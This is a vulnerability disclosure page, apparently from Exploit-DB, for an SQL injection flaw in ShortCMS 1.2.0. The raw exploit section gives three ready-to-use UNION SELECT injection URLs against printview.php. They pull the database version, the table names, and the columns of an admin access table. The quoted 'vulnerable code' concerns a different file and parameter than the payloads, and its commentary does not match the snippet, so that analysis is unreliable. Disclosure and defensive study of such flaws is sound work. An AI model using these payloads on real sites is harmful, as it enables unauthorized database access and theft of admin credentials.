ShortCMS SQL Injection

vendor:

ShortCMS

by:

Thibow

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: ShortCMS

Affected Version From: 1.2.0

Affected Version To: ALL < version.

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2010

ShortCMS is prone to an SQL injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. An attacker can exploit this vulnerability to manipulate SQL queries to view, add, modify, or delete records in the back-end database. This may result in the disclosure or manipulation of sensitive data, or the unauthorized manipulation of application data.

Mitigation:

Secure your parameters in printView page of News

Source

Exploit-DB raw data:

#######################[ Informatique inside ]##########################
#ShortCMS             :  SQL injection
#Version              :  1.2.0 (Last Version of 11/02/2010) and ALL < version.
#Author               :  Thibow
#Contact              :  Thibow[4t]linformatique-inside[dot]com
#Location             :  France
#Website              :  http://www.informatique-inside.com
#Solution             :  Secure your parameters in printView page of News
########################################################################

                 .   :
                   :::III
                   .:::IIIII
                   .:IIIIIIIIII...
                     :IIHIIIIIIIII:.
                      :IIIIIIIIIII:::
    .:IIIIIIIIIIIII:   :IIIIIIIIII:::MI. .
     ..:::IIIIIIIIIIII  :IIIIIII::::MMH.:
    .::IIHMHIIIIIIIIIII: IIIIII::::MMM.M .:
   ....::IHHMIIIIIIIIIII.:IIII::::MMMIM .I:
   ...::IIIIHHIIIIIIIIIII:III:::::MMMM:.H:
          .:IIIIIIIIIIIIIHI::::::M.H.M II
            .:IIIIIIIIIIIMI:::::M. :M :M.
              .IIIIIIII::MI::::M:  HM:M:
              .:IIII:::::MI:::M:..IMMHH.
          . .:I:I::::::::MI::M:. :MMMM:
         . .IMI..::::::::MI:H.:.:MMMHM.
        : :MMI.  .:::::::MI.:::HMMMMHI
       : :MMI.    :::::III I HMMMIMMM:
      :.:MMI.     .IIII: I:.MMMM: MMM.
     .::MMI.       II:.II:HMMMH. .MMM.
     I::II.         II:.IMMMH:.  IMMM:
     ..::II:      III :IIMMH.    HHHM:
    ::. .::. .::II..IIIIIMI.     HHHM:
    II::.:II::: .IMMMIIIIMI.    MMMMM:
     IIII:.:HMMMMMMMMIIIIMI.   :MMMMM:
     .MIIIMMMMMMMH:. .IIIMH.. .MMMMMM:
      :MMMMMMI:..     IIIIH:.MMMHMMMI
       :HMMH.         .MMMMMMMM:MMMI.
                    .IMMMMMM::HMMM.
                         .:IMMMM:.






###############################################################################################################################################################################################################################

#=Sql Injection===============================================================================================================================================================================================================#
# Exploit[MySql Version] 
# =>http://localhost/printview.php?func=news1&pvid=-55%20union%20all%20select%201,@@version,3,4,5,6,7,8--
# 
# Exploit[Table Name]
# => http://localhost/printview.php?func=news1&pvid=-55%20union%20all%20select%201,group_concat%28table_name%29,3,4,5,6,7,8%20from%20information_schema.tables%20where%20table_schema=database%28%29--
#
# Exploit[Column name]
# => http://localhost/printview.php?func=news1&pvid=-55%20union%20all%20select%201,group_concat%28column_name%29,3,4,5,6,7,8%20from%20information_schema.columns%20where%20table_name=0x647363315f61646d696e5f616363657373--
#
#=============================================================================================================================================================================================================================#



#=Vulerable code===============================================================================================================================================================================================================#

File: ./content/news2view.con.php
Line: 50 to 56

      $news2_ID = trim( $_GET['news2_ID'] );
      $news2_ID = mysql_real_escape_string( $news2_ID );
      if( is_it_number( $news2_ID ) == TRUE ) {
        $news2_ID = $news2_ID;
      } else {
        $news2_ID = 0;
      }

=> The parameter news2_ID was recover in just trim() function... 


#=============================================================================================================================================================================================================================#